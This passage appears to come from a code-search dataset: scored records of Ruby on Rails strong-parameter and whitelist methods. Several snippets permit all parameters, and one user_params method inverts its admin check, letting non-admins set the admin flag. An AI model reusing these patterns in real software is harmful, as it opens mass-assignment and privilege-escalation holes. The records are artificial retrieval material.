"068f8502695b7c7f6d382f8470180ede", "score": "0.64826745", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6479415", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.6456823", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6440081", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.63800216", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.6376521", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.636652", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.6319898", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.6300256", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.62994003", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.6293621", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6292629", "text": "def valid_params_request?; end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6291586", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.629103", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6282451", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6243152", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62413", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6219024", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.6213724", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.62103724", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.61945", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.61786324", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.61755824", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.6173267", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6163613", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6153058", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.61521065", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.6147508", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.61234015", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61168665", "text": "def check_params; true; end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6107466", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6106177", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6091159", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.60817343", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.6071238", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.6062299", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.6021663", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.60182893", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6014239", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.6011563", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60080767", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60080767", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.60028875", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.60005623", "text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.59964156", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.5993086", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.5992319", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.5992299", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.59801805", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.59676576", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.59606016", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.595966", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.59591126", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.59589803", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.5954058", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5953234", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.5944434", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.5940526", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59376484", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59376484", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5935253", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.5930846", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.5926387", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.59256274", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.5917907", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.5910841", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.590886", "text": "def url_whitelist; end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.59086543", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.59060425", "text": "def admin_social_network_params\n params.require(:social_network).permit!\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.58981544", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5898102", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.5896809", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.5895416", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.58947027", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.58923644", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.5887903", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.58830196", "text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.5880581", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.5873854", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.58697754", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.5869004", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.58669055", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.5866886", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.58664906", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.5864619", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.58630043", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.5862495", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.5861368", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.5859712", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.5855544", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.58551925", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.5851284", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.5850602", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
dd7d60a21fd19c1f14b5fcbcb6721948
apply standardized naming convention to all Collections within Community
[ { "docid": "7598fb9322ddff54e769b0dc88f7c344", "score": "0.0", "text": "def name_workflow_groups\n @obj.getCollections.each { |col| DSpace.create(col).name_workflow_groups }\n self\n end", "title": "" } ]
[ { "docid": "e14db69ee04b69b8a0a15d800d349584", "score": "0.72138846", "text": "def set_collection_name(_arg0); end", "title": "" }, { "docid": "3a4e68047e79f134cccd816f531997f0", "score": "0.6965328", "text": "def collection_name=(_arg0); end", "title": "" }, { "docid": "5e686db1ec5b3e17e45e09bf027c1be4", "score": "0.69533813", "text": "def flexi_collection_name\n self.name.parameterize\n end", "title": "" }, { "docid": "085279f7289a7b68cb6aa0e077838893", "score": "0.69336635", "text": "def collection_name\n \"#{self.name.split('::').last.downcase}s\"\n end", "title": "" }, { "docid": "cbfe41046d9e202711476fc3358c8db3", "score": "0.6907276", "text": "def collection_name; end", "title": "" }, { "docid": "00b53cbc7e94a3f2e3bdce07406959af", "score": "0.68521637", "text": "def collection_name\n @collection_name || class_name.underscore.pluralize\n end", "title": "" }, { "docid": "00b53cbc7e94a3f2e3bdce07406959af", "score": "0.68521637", "text": "def collection_name\n @collection_name || class_name.underscore.pluralize\n end", "title": "" }, { "docid": "ce9c834ab579ad646cab95e5a26a3419", "score": "0.6771257", "text": "def collection_names\n names = collections_info.collect { |doc| doc['name'] || '' }\n names = names.delete_if {|name| name.index(@name).nil? || name.index('$')}\n names.map {|name| name.sub(@name + '.', '')}\n end", "title": "" }, { "docid": "6f3432bc9f2eca1cfcb7f86a99e16c1e", "score": "0.6726281", "text": "def collection_names\n module_klass::Collections.collection_names\n end", "title": "" }, { "docid": "05e5acf420c4eaf64fdef47df79ba034", "score": "0.6714458", "text": "def collection_name_from_class_name(class_name)\n class_name.demodulize.underscore.pluralize.to_sym\n end", "title": "" }, { "docid": "fc94ec28a074c6f4795e3280b5190d70", "score": "0.6695232", "text": "def collection_names\n names = collections_info.collect { |doc| doc['name'] || '' }\n names = names.delete_if {|name| name.index(@name).nil? || name.index('$')}\n names.map {|name| name.sub(@name + '.', '')}\n end", "title": "" }, { "docid": "287a3a4f28da94179cdc1c47e05a26de", "score": "0.6619358", "text": "def full_collection_name(collection_name)\n \"#{@name}.#{collection_name}\"\n end", "title": "" }, { "docid": "f444543b449ba0e3bba2a57aaec540cc", "score": "0.6612338", "text": "def collection_name(name=nil)\n @collection_name ||= name.nil? ? self.to_s.tableize : name\n end", "title": "" }, { "docid": "95d33693d53c1bdba855c0cf0b8e8dfd", "score": "0.658518", "text": "def collection_name\n instance_name.pluralize\n end", "title": "" }, { "docid": "76c6edbce5e36626efbcbb8e1808309d", "score": "0.651744", "text": "def collection_name\n display_name.pluralize(I18n.default_locale)\n end", "title": "" }, { "docid": "76c6edbce5e36626efbcbb8e1808309d", "score": "0.651744", "text": "def collection_name\n display_name.pluralize(I18n.default_locale)\n end", "title": "" }, { "docid": "a9052f1c8f37de371e533bd2844908ca", "score": "0.6486936", "text": "def inflect(inflections); end", "title": "" }, { "docid": "401f696c32b5d256f3d709b40ba76a47", "score": "0.6451736", "text": "def collection_names\n @collection_names ? @collection_names : self.collections.collect(&:name).uniq.join(\",\")\n end", "title": "" }, { "docid": "05504ca58b90087621b17bf6eb9bb62d", "score": "0.64261174", "text": "def collection_name\n self.to_s.tableize\n end", "title": "" }, { "docid": "8509b6ad2e52786ab8363b86cad2db08", "score": "0.64074296", "text": "def name\n @collection_name\n end", "title": "" }, { "docid": "cd7bbe98b7a6d11be0a8497e9fa8315c", "score": "0.6406085", "text": "def rename_collection(from, to)\n oh = OrderedHash.new\n oh[:renameCollection] = \"#{@name}.#{from}\"\n oh[:to] = \"#{@name}.#{to}\"\n doc = db_command(oh, true)\n raise \"Error renaming collection: #{doc.inspect}\" unless ok?(doc)\n end", "title": "" }, { "docid": "845610fbc0ae3bb7a1252476b2966250", "score": "0.63546485", "text": "def collection_names=(new_collection_names)\n new_names = trim_collection_names(new_collection_names)\n remove_ids = self.collections.reject {|c| new_names.include?(c.name)}.collect(&:id)\n self.collections_to_add = new_names.join(\",\")\n self.collections_to_remove = remove_ids\n end", "title": "" }, { "docid": "e77be2e22db97bc72e33f8a62330b7a7", "score": "0.6353113", "text": "def collection_name(year:, month:, day: nil, collection_postfix: nil)\n name = day.present? ? \"#{year}_#{month}_#{day}\" : \"#{year}_#{month}\"\n names = []\n names << @config.collection['base_name']\n names << name\n names << collection_postfix if collection_postfix\n names.join('_')\n end", "title": "" }, { "docid": "b32ebccde44040702360520ea4057855", "score": "0.63528794", "text": "def collection_name\n self.model.to_s.tableize\n end", "title": "" }, { "docid": "b63ce98df0d9599a54b1316225eaa58d", "score": "0.63490033", "text": "def system_collections\n all_collections_where { |collection| collection['name'].start_with?('_') }\n end", "title": "" }, { "docid": "cc900762f6cae84d830ebc9459164065", "score": "0.6338187", "text": "def collection_human_name\n I18n.t(\"activerecord.models.#{resource_name}.other\",\n default: collection_name.humanize)\n end", "title": "" }, { "docid": "a52a226eb4f2712a6d5629fc6470b910", "score": "0.6312125", "text": "def collection_name\n self.class.collection_name\n end", "title": "" }, { "docid": "864a632840cd3fd45093f84066d4a199", "score": "0.6292877", "text": "def collection_names\n collections.map(&:first)\n end", "title": "" }, { "docid": "0655fc1b780f2c19d5506d9a0decd7da", "score": "0.629147", "text": "def collection_name\n self.model_name.plural\n end", "title": "" }, { "docid": "d2718d3052bc1f8573fc75c67030fa6f", "score": "0.6276892", "text": "def collection_key() name ; end", "title": "" }, { "docid": "12116dbc367099351d79182a22de0940", "score": "0.6264451", "text": "def collection_key() name ; end", "title": "" }, { "docid": "77abd72cd0c79a44df3d368f8f9a2257", "score": "0.626217", "text": "def collection_name\n self.class.collection_name_from_class_name(@object.class.to_s)\n end", "title": "" }, { "docid": "6aaeca5385353061a126a97257ced3a3", "score": "0.6255552", "text": "def collection_names\n namespaces = Collection.new(self, \"system.namespaces\").find(name: { \"$not\" => /#{name}\\.system\\.|\\$/ })\n namespaces.map do |doc|\n _name = doc[\"name\"]\n _name[name.length + 1, _name.length]\n end\n end", "title": "" }, { "docid": "03edda70d00e23337fd685dcc157cbc9", "score": "0.62539756", "text": "def __collection_name__\n if storage_options && name = storage_options[:collection]\n name.to_sym\n else\n default_collection_name\n end\n end", "title": "" }, { "docid": "e26e01b13329c0d69ba46d43e4b9501b", "score": "0.6241705", "text": "def collection_name\n @collection_name ||= params[:model] || controller_name.underscore.tr('/', '~')\n end", "title": "" }, { "docid": "86ae69338c20d52b54bd84b453505c5e", "score": "0.6236012", "text": "def collectionize\n tableize.gsub(\"/\", \"_\")\n end", "title": "" }, { "docid": "86ae69338c20d52b54bd84b453505c5e", "score": "0.6236012", "text": "def collectionize\n tableize.gsub(\"/\", \"_\")\n end", "title": "" }, { "docid": "70834c8957ebf94629a3e749e8671627", "score": "0.6231571", "text": "def collectionize\n tableize.gsub(\"/\", \"_\")\n end", "title": "" }, { "docid": "13ae054c8db0255403ccfbdec9384ec7", "score": "0.62274796", "text": "def has_many_assoc(name)\n name.tr(' ', '_').underscore.pluralize\n end", "title": "" }, { "docid": "15828cee33185c6d91384a5a7a772be7", "score": "0.6222289", "text": "def collection_name\n @collection_name ||= __collection_name__\n end", "title": "" }, { "docid": "1a53a2cc736faa3babc83534ea091e26", "score": "0.62221825", "text": "def var_name_for_collection(resource)\n \"@#{ resource.underscore.pluralize }\"\n end", "title": "" }, { "docid": "fa17f7c05f88b8696f1e7696889d9a21", "score": "0.62099814", "text": "def collection_name\n @coll_name || collection.name\n end", "title": "" }, { "docid": "9efc53aae5958ae3babbdc5cc30b8768", "score": "0.6196316", "text": "def name\n self[:CollectionName]\n end", "title": "" }, { "docid": "6ea0bcac7b6db7195feb254c74407d2d", "score": "0.61869293", "text": "def collection_variable_name\n @collection_variable_name ||= \"@#{collection_name.tr('~', '_')}\"\n end", "title": "" }, { "docid": "b0ab88078ddfb4b91f2fbf93cad7364b", "score": "0.6185012", "text": "def collection_names=(new_collection_names)\n names = new_collection_names.split(',').map{ |name| name.strip }\n new_collections = Collection.where(:name => names)\n missing = names - new_collections.value_of(:name)\n to_add = new_collections - self.collections\n to_remove = self.collections - new_collections\n to_remove.each do |c|\n self.collections.delete(c)\n end\n to_add.each do |c|\n self.collections << c\n end\n unless missing.blank?\n error = missing.size == 1 ? \n ts(\"We couldn't find a collection with the name %{name}. \", :name => missing.first) : \n ts(\"We couldn't find the collections named %{names}. \", :names => missing.to_sentence)\n error += ts(\"Make sure you are using the one-word name, and not the title?\")\n self.errors.add(:base, error)\n end\n end", "title": "" }, { "docid": "79d034684954ec388ec80750aec8fc7b", "score": "0.6179215", "text": "def collection_name\n collection_id == '' ? '' : CocinaObjectStore.find(collection_id).label\n end", "title": "" }, { "docid": "b690ba33bf3fc22ad13d1d4d2c3bb8bb", "score": "0.61767423", "text": "def dc_choices4_all_collections\n models = Mongoid.models.map(&:to_s).uniq.map(&:underscore).delete_if { |e| e.match('/') }\n models.sort.inject([]) do |r, model_name|\n r << [\"#{model_name} - #{t(\"helpers.label.#{model_name}.tabletitle\", '')}\", model_name]\n end\nend", "title": "" }, { "docid": "2abd0e33fdd1a342e5541ed69df90ef3", "score": "0.6171261", "text": "def collection_names\n @db.collection_names.delete_if { |name| name =~ /^system/ }\n end", "title": "" }, { "docid": "17c3cd51e268a22d05e3c1e27ab405d9", "score": "0.6164388", "text": "def collection_name\n model_name.collection\n end", "title": "" }, { "docid": "86a675633f63ef49e1f60d0bda461479", "score": "0.6153295", "text": "def create_collections\n self.collections.each do |collection_name|\n self.add_collection(collection_name)\n end\n end", "title": "" }, { "docid": "7d8dba6e17f522a2bb1e39da572868c2", "score": "0.61305857", "text": "def collection_name\n collection_name = @collection_name || name.sub(/^.*::/,'')\n @collection_name = nil # Forget this name to avoid confusion on subsequent calls\n collection_name\n end", "title": "" }, { "docid": "ab96a6cbe6bbf49ebed5381e27f9fb71", "score": "0.61217797", "text": "def collections\n all_collections_where { |collection| !collection['name'].start_with?('_') }\n end", "title": "" }, { "docid": 